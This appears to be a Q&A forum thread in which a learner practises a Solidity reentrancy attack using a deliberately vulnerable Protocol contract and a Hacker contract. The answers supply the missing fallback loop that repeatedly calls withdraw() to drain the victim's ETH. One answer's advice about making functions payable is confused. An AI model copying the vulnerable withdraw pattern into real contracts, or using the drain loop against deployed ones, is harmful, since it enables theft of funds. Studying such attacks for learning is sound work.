0

So, I'm learning advanced smart contract development. Two days ago, I learned about Reentrancy attacks and then I also created two contracts Protocol.sol (vulnerable contract) + Hacker.sol (attacker contract) to put my knowledge to the test. I was able to perform everything smoothly, I was importing the Protocol.sol (ABI + address) contract in my Hacker.sol. Today, I learned that we can call another smart contract function without importing the ABI, just using the contract address via ".call" & delegate call. So, again to put my knowledge to the test, I used Protocol.sol & Hacker.sol.

Protocol.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

contract Protocol {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public payable {
        require(balances[msg.sender] > 0, "BRUH");
        (bool success, ) = (msg.sender).call{value: 1 ether}("");
        require(success);
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns(uint256) {
        return address(this).balance;
    }
}

Hacker.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

contract Hacker {

    function protocolDeposit(address protocol) public payable {
        (bool success,) = protocol.call{value: msg.value}(abi.encodeWithSignature("deposit()"));
        require(success, "call failed");
    }

    function attack(address protocol) public payable {
        (bool hacked,) = protocol.call(abi.encodeWithSignature("withdraw()"));
        require(hacked, "attack failed");
    }

    // fallback() external payable {
    //     (bool hacked,) = protocol.call(abi.encodeWithSignature("withdraw()"));
    //     require(hacked, "hack failed");
    // }

    function rektMoney() public view returns(uint256) {
        return address(this).balance;
    }
}

The problem, I am facing right now is calling withdraw() func. I am able to deposit ETH using Hacker.sol into Protocol.sol but I'm unable to call withdraw() using attack

Maybe it is because the withdraw func in the protocol.sol is also using call to transfer ETH.

How to ".call" a function of another contract which is using ".call" as well?

How I can solve this problem? Pls Help, Thanks in Advance

2 Answers 2

2

You need to impalement receive or fallback function in order to receive money in your hacker contract.

 // function to receive eth from others                                           
 receive() external payable {
        emit receivedMoney(msg.sender, msg.value); // event to emit when receive eth , this is optional
 }

since you haven't implemented that's why you are facing this issue.

And one more thing you need to make you withdraw() & attack(address protocol) function to be payable, since we are not accepting any ETH from user in that function.

I hope you understand, if not comment for better understanding.

have a great day 😊

0
3

you should have a fallback() function because when hacker.sol try to withdraw ethers, you must have receive() or fallback() function to get these ethers, so this function you need :

fallback() external payable {
    if (address(etherStore).balance >= 1 ether) {
        etherStore.withdraw();
    }
}

on the other hand, you have to use "if" like this because when you withdraw all of the deposit ethers, and the balance is set to zero, all the transactions revert, so you have to set if to withdraw before the balance is zero.

you can read more about this here

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.